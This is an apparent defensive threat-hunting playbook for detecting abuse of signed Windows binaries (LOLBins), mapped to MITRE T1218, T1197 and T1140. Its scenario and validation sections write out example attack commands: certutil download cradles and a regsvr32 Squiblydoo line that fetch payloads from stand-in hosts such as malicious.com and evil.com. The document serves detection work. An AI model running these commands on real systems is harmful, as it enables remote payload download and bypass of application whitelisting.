1---2name: hunting-for-living-off-the-land-binaries3description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.4license: Apache-2.05---67# Hunting for Living-off-the-Land Binaries (LOLBins)89## When to Use1011- When investigating fileless malware campaigns that bypass traditional AV12- During proactive threat hunts targeting defense evasion techniques13- When EDR alerts fire on legitimate binaries executing unusual child processes14- After threat intelligence reports indicate LOLBin abuse in active campaigns15- During red team/purple team exercises validating detection coverage for T12181617## Detection Gaps & Validation1819- **Renamed/copied LOLBins defeat Image-name rules.** `certutil.exe` copied to `cu.exe` evades `Image=*\certutil.exe`. Match Sysmon EID 1 `OriginalFileName` and `Hashes`, not the on-disk filename — this is the single biggest false-negative source.20- **Signed-binary proxy execution is the whole point (T1218):** the binary is Microsoft-signed, so AV/signature trust passes. Detection must be behavioral (args + parent + network), not reputation.21- **Long-tail LOLBins are missed:** watchlists stop at the top ~10, omitting `desktopimgdownldr.exe`, `finger.exe`, `msdt.exe` (Follina), `forfiles.exe`, `mavinject.exe`.22- **Obfuscated command lines** (`-enc`, caret/quote insertion, env-var expansion) evade keyword regex.23- **Validate the hunt fires:** run Atomic Red Team T1218.010 (regsvr32 Squiblydoo), T1218.011 (rundll32), and T1140 (`certutil -urlcache -split -f http://...`); confirm Sysmon EID 1 command line + EID 3 outbound connection fire and your rule matches.24- **FP tuning:** certutil for legitimate cert ops, rundll32 spawned by installers, msbuild on developer hosts — baseline by parent process, path, and signer.2526## Prerequisites2728- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)29- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)30- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list31- PowerShell command-line logging enabled (Module Logging, Script Block Logging)32- Network proxy or firewall logs for correlating outbound connections3334## Workflow35361. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").372. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).383. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.394. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.405. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.416. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.427. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.4344## Key Concepts4546| Concept | Description |47|---------|-------------|48| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |49| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |50| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |51| T1218.001 | Compiled HTML File (mshta.exe) |52| T1218.002 | Control Panel (control.exe) |53| T1218.003 | CMSTP |54| T1218.005 | Mshta |55| T1218.010 | Regsvr32 |56| T1218.011 | Rundll32 |57| T1197 | BITS Jobs (bitsadmin.exe) |58| T1140 | Deobfuscate/Decode Files (certutil.exe) |59| Proxy Execution | Using trusted binaries to execute untrusted code |60| Fileless Attack | Attack that operates primarily in memory without dropping files |6162## Tools & Systems6364| Tool | Purpose |65|------|---------|66| CrowdStrike Falcon | EDR telemetry and process tree analysis |67| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |68| Splunk | SIEM log aggregation and SPL queries |69| Elastic Security | Detection rules and timeline investigation |70| Sysmon | Detailed process creation and network logging |71| LOLBAS Project | Reference database of LOLBin capabilities |72| Sigma Rules | Generic detection rule format for LOLBins |73| Velociraptor | Endpoint forensic collection and hunting |7475## Common Scenarios76771. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.782. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.793. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.804. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.815. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.8283## Output Format8485```86Hunt ID: TH-LOLBIN-[DATE]-[SEQ]87Hypothesis: [Stated hypothesis]88LOLBins Investigated: [List of binaries]89Time Range: [Start] - [End]90Data Sources: [EDR, Sysmon, SIEM]91Findings:92 - [Finding 1 with evidence]93 - [Finding 2 with evidence]94Anomalies Detected: [Count]95True Positives: [Count]96False Positives: [Count]97IOCs Identified: [List]98Detection Rules Created/Updated: [List]99Recommendations: [Next steps]100```